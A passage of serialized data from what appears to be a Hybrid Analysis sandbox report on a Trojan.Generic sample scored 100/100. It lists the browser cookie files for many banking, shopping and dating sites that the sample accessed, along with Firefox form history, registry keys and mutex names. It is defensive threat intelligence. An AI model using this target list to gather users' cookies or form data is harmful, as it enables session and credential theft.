e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.linkedin[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.liveadexchanger[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.livedoor[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.livestrong[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.lloydsbank[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.lowermybills[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.lowes[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.mapion.co[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.marca[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.marriott[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.maxonclick[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.merriam-webster[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.microsoftstore[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.moonbasa[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.msn[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.msn[3].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.mtime[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.nate[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.nokia[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.overstock[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.pagesjaunes[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.partypoker[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.paypal[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.pcauto.com[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.pchome[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.pnc[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.pof[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.pof[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.pole-emploi[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.qq[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.rakuten.co[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.realtor[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.repubblica[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.rightmove.co[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.robtex[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.shoplocal[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.shutterfly[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.sogou[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.sohu[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.sony[10].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.sony[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.sony[3].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.sony[4].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.sony[5].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.sony[6].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.sony[7].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.sony[8].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.sony[9].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.stumbleupon[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.suning[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.symantec[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.syyx[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.t-online[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.telegraph.co[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.tenpay[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.terra.com[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.thefreedictionary[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.theweathernetwork[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.tiexue[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.tmall[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.today[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.toshiba[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.travelocity[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.trulia[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.united[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.univision[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.uol.com[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.upsellit[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.usaa[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.verizonwireless[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.viewster[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.washingtonpost[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.wheretowatch[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.wwe[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.zergnet[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.zhcw[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.zhenai[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.zoosk[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www1.euro.dell[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www3.hilton[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@xdating[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@xiti[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@xlisting[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@xplosion[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@yadro[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@yahoo.co[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@yahoo[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@yandex[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@yaplog[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ya[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@yhd[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@yieldoptimizer[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@yldbt[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ynuf.alipay[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@youdao[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@youku[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@youtube[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@zag[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@zanox[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@zappos[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@zhcw[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@zhenai[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@zoosk[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ztgame[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\formhistory.sqlite","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%TEMP%\\3762744796932344962560.tempcbss","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%WINDIR%\\System32\\en-US\\setupapi.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"C:\\Windows","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%WINDIR%\\System32","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%USERPROFILE%\\Desktop\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%WINDIR%\\System32\\en-US\\propsys.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%WINDIR%\\System32\\cmd.exe","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%WINDIR%\\System32\\en-US\\cmd.exe.mui","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"}]},{"key":"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"},{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Ad48qw4d6wq84d56as","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"},{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"name":"Ad48qw4d6wq84d56as","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"},{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"},{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"},{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"},{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a4d12df7ca3e114fa3550c3"},{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"name":"Local\\c:!users!%OSUSER%!appdata!local!microsoft!windows!history!history.ie5!","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"name":"Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"name":"Local\\_!MSFTHISTORY!_","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"name":"Local\\c:!users!%OSUSER%!appdata!roaming!microsoft!windows!cookies!","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"name":"Local\\c:!users!%OSUSER%!appdata!local!microsoft!windows!temporary internet files!content.ie5!","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"name":"Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\_!MSFTHISTORY!_","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!%OSUSER%!appdata!local!microsoft!windows!temporary internet files!content.ie5!","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!%OSUSER%!appdata!roaming!microsoft!windows!cookies!","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!%OSUSER%!appdata!local!microsoft!windows!history!history.ie5!","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]}]}},"report_ids":{"sandbox_job_ids":["5a4d12df7ca3e114fa3550c3","5a257e367ca3e116684a7875"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Trojan.Generic Sample 37b66f9117a2… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 37b66f9117a2…. Malware family: Trojan.Generic. Threat score 100/100. 16/28 AV engines flagged this file. 7 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/37b66f9117a2140fa11badad967c09142860d04af9a3564bfe58527d7d7e9270"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Generic Sample 37b66f9117a2… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 37b66f9117a2…. Malware family: Trojan.Generic. Threat score 100/100. 16/28 AV engines flagged this file. 7 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/37b66f9117a2140fa11badad967c09142860d04af9a3564bfe58527d7d7e9270"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Generic Sample 37b66f9117a2… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 37b66f9117a2…. Malware family: Trojan.Generic. Threat score 100/100. 16/28 AV engines flagged this file. 7 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L28","11",{}]]